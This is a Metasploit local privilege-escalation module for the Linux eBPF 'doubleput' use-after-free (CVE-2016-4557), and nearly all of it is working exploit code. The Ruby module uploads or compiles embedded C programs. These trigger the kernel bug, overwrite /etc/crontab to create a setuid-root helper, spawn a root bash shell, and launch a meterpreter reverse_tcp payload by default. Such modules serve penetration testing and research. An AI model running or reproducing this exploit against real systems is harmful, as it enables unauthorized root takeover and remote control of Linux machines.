## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Linux BPF doubleput UAF Privilege Escalation', 'Description' => %q{ Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF) does not properly reference count file descriptors, resulting in a use-after-free, which can be abused to escalate privileges. The target system must be compiled with `CONFIG_BPF_SYSCALL` and must not have `kernel.unprivileged_bpf_disabled` set to 1. Note, this module will overwrite the first few lines of `/etc/crontab` with a new cron job. The job will need to be manually removed. This module has been tested successfully on Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel). }, 'License' => MSF_LICENSE, 'Author' => [ 'jannh@google.com', # discovery and exploit 'h00die ' # metasploit module ], 'Platform' => ['linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => ['shell', 'meterpreter'], 'DisclosureDate' => '2016-05-04', 'Privileged' => true, 'References' => [ ['BID', '90309'], ['CVE', '2016-4557'], ['EDB', '39772'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808'], ['URL', 'https://usn.ubuntu.com/2965-1/'], ['URL', 'https://launchpad.net/bugs/1578705'], ['URL', 'http://changelogs.ubuntu.com/changelogs/pool/main/l/linux/linux_4.4.0-22.39/changelog'], ['URL', 'https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4557.html'], ['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7'] ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'PrependFork' => true, 'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through }, 'Notes' => { 'AKA' => [ 'double-fdput', 'doubleput.c' ] }, 'DefaultTarget' => 1, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_delete_file stdapi_sys_process_execute ] } } ) ) register_options [ OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]), OptInt.new('MAXWAIT', [true, 'Max time to wait for decrementation in seconds', 120]) ] register_advanced_options [ OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), ] end def base_dir datastore['WritableDir'].to_s end def exploit_data(file) ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', file) end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data chmod path end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') return true if has_prereqs? unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'Prerequisites are not installed. Compiling will fail.' end end def has_prereqs? def check_libfuse_dev? lib = cmd_exec('dpkg --get-selections | grep libfuse-dev') if lib.include?('install') vprint_good('libfuse-dev is installed') return true else print_error('libfuse-dev is not installed. Compiling will fail.') return false end end def check_gcc? if has_gcc? vprint_good('gcc is installed') return true else print_error('gcc is not installed. Compiling will fail.') return false end end def check_pkgconfig? lib = cmd_exec('dpkg --get-selections | grep ^pkg-config') if lib.include?('install') vprint_good('pkg-config is installed') return true else print_error('pkg-config is not installed. Exploitation will fail.') return false end end return check_libfuse_dev? && check_gcc? && check_pkgconfig? end def upload_and_compile(path, data, gcc_args = '') upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end unless gcc_args.to_s.blank? gcc_cmd << " #{gcc_args}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." end register_file_for_cleanup path chmod path end def check release = kernel_release version = kernel_version if Rex::Version.new(release.split('-').first) < Rex::Version.new('4.4') || Rex::Version.new(release.split('-').first) > Rex::Version.new('4.5.5') vprint_error "Kernel version #{release} #{version} is not vulnerable" return CheckCode::Safe end if version.downcase.include?('ubuntu') && release =~ /^4\.4\.0-(\d+)-/ if $1.to_i > 21 vprint_error "Kernel version #{release} is not vulnerable" return CheckCode::Safe end end vprint_good "Kernel version #{release} #{version} appears to be vulnerable" lib = cmd_exec('dpkg --get-selections | grep ^fuse').to_s unless lib.include?('install') print_error('fuse package is not installed. Exploitation will fail.') return CheckCode::Safe end vprint_good('fuse package is installed') fuse_mount = "#{base_dir}/fuse_mount" if directory? fuse_mount vprint_error("#{fuse_mount} should be unmounted and deleted. Exploitation will fail.") return CheckCode::Safe end vprint_good("#{fuse_mount} doesn't exist") config = kernel_config if config.nil? vprint_error 'Could not retrieve kernel config' return CheckCode::Unknown end unless config.include? 'CONFIG_BPF_SYSCALL=y' vprint_error 'Kernel config does not include CONFIG_BPF_SYSCALL' return CheckCode::Safe end vprint_good 'Kernel config has CONFIG_BPF_SYSCALL enabled' if unprivileged_bpf_disabled? vprint_error 'Unprivileged BPF loading is not permitted' return CheckCode::Safe end vprint_good 'Unprivileged BPF loading is permitted' CheckCode::Appears end def exploit if !datastore['ForceExploit'] && is_root? fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end if nosuid? base_dir fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid" end doubleput = %q{ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __NR_bpf # if defined(__i386__) # define __NR_bpf 357 # elif defined(__x86_64__) # define __NR_bpf 321 # elif defined(__aarch64__) # define __NR_bpf 280 # else # error # endif #endif int uaf_fd; int task_b(void *p) { /* step 2: start writev with slow IOV, raising the refcount to 2 */ char *cwd = get_current_dir_name(); char data[2048]; sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd); struct iovec iov = { .iov_base = data, .iov_len = strlen(data) }; if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount")) errx(1, "system() failed"); int fuse_fd = open("fuse_mount/hello", O_RDWR); if (fuse_fd == -1) err(1, "unable to open FUSE fd"); if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov)) errx(1, "unable to write to FUSE fd"); struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0); if (iov_ == MAP_FAILED) err(1, "unable to mmap FUSE fd"); fputs("starting writev\n", stderr); ssize_t writev_res = writev(uaf_fd, iov_, 1); /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */ if (writev_res == -1) err(1, "writev failed"); if (writev_res != strlen(data)) errx(1, "writev returned %d", (int)writev_res); fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr); while (1) sleep(1); /* whatever, just don't crash */ } void make_setuid(void) { /* step 1: open writable UAF fd */ uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC); if (uaf_fd == -1) err(1, "unable to open UAF fd"); /* refcount is now 1 */ char child_stack[20000]; int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL); if (child == -1) err(1, "clone"); sleep(3); /* refcount is now 2 */ /* step 2+3: use BPF to remove two references */ for (int i=0; i<2; i++) { struct bpf_insn insns[2] = { { .code = BPF_LD | BPF_IMM | BPF_DW, .src_reg = BPF_PSEUDO_MAP_FD, .imm = uaf_fd }, { } }; union bpf_attr attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = 2, .insns = (__aligned_u64) insns, .license = (__aligned_u64)"" }; if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1) errx(1, "expected BPF_PROG_LOAD to fail, but it didn't"); if (errno != EINVAL) err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error"); } /* refcount is now 0, the file is freed soon-ish */ /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */ int status; int hostnamefds[1000]; int used_fds = 0; bool up = true; while (1) { if (waitpid(child, &status, WNOHANG) == child) errx(1, "child quit before we got a good file*"); if (up) { hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY); if (hostnamefds[used_fds] == -1) err(1, "open target file"); if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break; used_fds++; if (used_fds == 1000) up = false; } else { close(hostnamefds[--used_fds]); if (used_fds == 0) up = true; } } fputs("woohoo, got pointer reuse\n", stderr); while (1) sleep(1); /* whatever, just don't crash */ } int main(void) { pid_t child = fork(); if (child == -1) err(1, "fork"); if (child == 0) make_setuid(); struct stat helperstat; while (1) { if (stat("suidhelper", &helperstat)) err(1, "stat suidhelper"); if (helperstat.st_mode & S_ISUID) break; sleep(1); } fputs("suid file detected, launching rootshell...\n", stderr); execl("./suidhelper", "suidhelper", NULL); err(1, "execl suidhelper"); } } suid_helper = %q{ #include #include #include #include int main(void) { if (setuid(0) || setgid(0)) err(1, "setuid/setgid"); fputs("we have root privs now...\n", stderr); execl("/bin/bash", "bash", NULL); err(1, "execl"); } } hello = %q{ /* FUSE: Filesystem in Userspace Copyright (C) 2001-2007 Miklos Szeredi heavily modified by Jann Horn This program can be distributed under the terms of the GNU GPL. See the file COPYING. gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello */ #define FUSE_USE_VERSION 26 #include #include #include #include #include #include #include #include static const char *hello_path = "/hello"; static char data_state[sizeof(struct iovec)]; static int hello_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0755; stbuf->st_nlink = 2; } else if (strcmp(path, hello_path) == 0) { stbuf->st_mode = S_IFREG | 0666; stbuf->st_nlink = 1; stbuf->st_size = sizeof(data_state); stbuf->st_blocks = 0; } else res = -ENOENT; return res; } static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0); filler(buf, hello_path + 1, NULL, 0); return 0; } static int hello_open(const char *path, struct fuse_file_info *fi) { return 0; } static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { sleep(10); size_t len = sizeof(data_state); if (offset < len) { if (offset + size > len) size = len - offset; memcpy(buf, data_state + offset, size); } else size = 0; return size; } static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { if (offset != 0) errx(1, "got write with nonzero offset"); if (size != sizeof(data_state)) errx(1, "got write with size %d", (int)size); memcpy(data_state + offset, buf, size); return size; } static struct fuse_operations hello_oper = { .getattr = hello_getattr, .readdir = hello_readdir, .open = hello_open, .read = hello_read, .write = hello_write, }; int main(int argc, char *argv[]) { return fuse_main(argc, argv, &hello_oper, NULL); } } @hello_name = 'hello' hello_path = "#{base_dir}/#{@hello_name}" @doubleput_name = 'doubleput' doubleput_path = "#{base_dir}/#{@doubleput_name}" @suidhelper_path = "#{base_dir}/suidhelper" payload_path = "#{base_dir}/.#{rand_text_alphanumeric(10..15)}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile(hello_path, hello, '-Wall -std=gnu99 `pkg-config fuse --cflags --libs`') upload_and_compile(doubleput_path, doubleput, '-Wall') upload_and_compile(@suidhelper_path, suid_helper, '-Wall') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx(hello_path, exploit_data('hello')) upload_and_chmodx(doubleput_path, exploit_data('doubleput')) upload_and_chmodx(@suidhelper_path, exploit_data('suidhelper')) end vprint_status 'Uploading payload...' upload_and_chmodx(payload_path, generate_payload_exe) print_status('Launching exploit. This may take up to 120 seconds.') print_warning('This module adds a job to /etc/crontab which requires manual removal!') register_dir_for_cleanup "#{base_dir}/fuse_mount" cmd_exec "cd #{base_dir}; #{doubleput_path} & echo " sec_waited = 0 until sec_waited > datastore['MAXWAIT'] do Rex.sleep(5) # check file permissions if setuid? @suidhelper_path print_good("Success! set-uid root #{@suidhelper_path}") cmd_exec "echo '#{payload_path} & exit' | #{@suidhelper_path} " return end sec_waited += 5 end print_error "Failed to set-uid root #{@suidhelper_path}" end def cleanup cmd_exec "killall #{@hello_name}" cmd_exec "killall #{@doubleput_name}" ensure super end def on_new_session(session) # remove root owned SUID executable and kill running exploit processes if session.type.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.fs.file.rm @suidhelper_path session.sys.process.execute '/bin/sh', "-c 'killall #{@doubleput_name}'" session.sys.process.execute '/bin/sh', "-c 'killall #{@hello_name}'" session.fs.file.rm "#{base_dir}/fuse_mount" else session.shell_command_token "rm -f '#{@suidhelper_path}'" session.shell_command_token "killall #{@doubleput_name}" session.shell_command_token "killall #{@hello_name}" session.shell_command_token "rm -f '#{base_dir}/fuse_mount'" end ensure super end end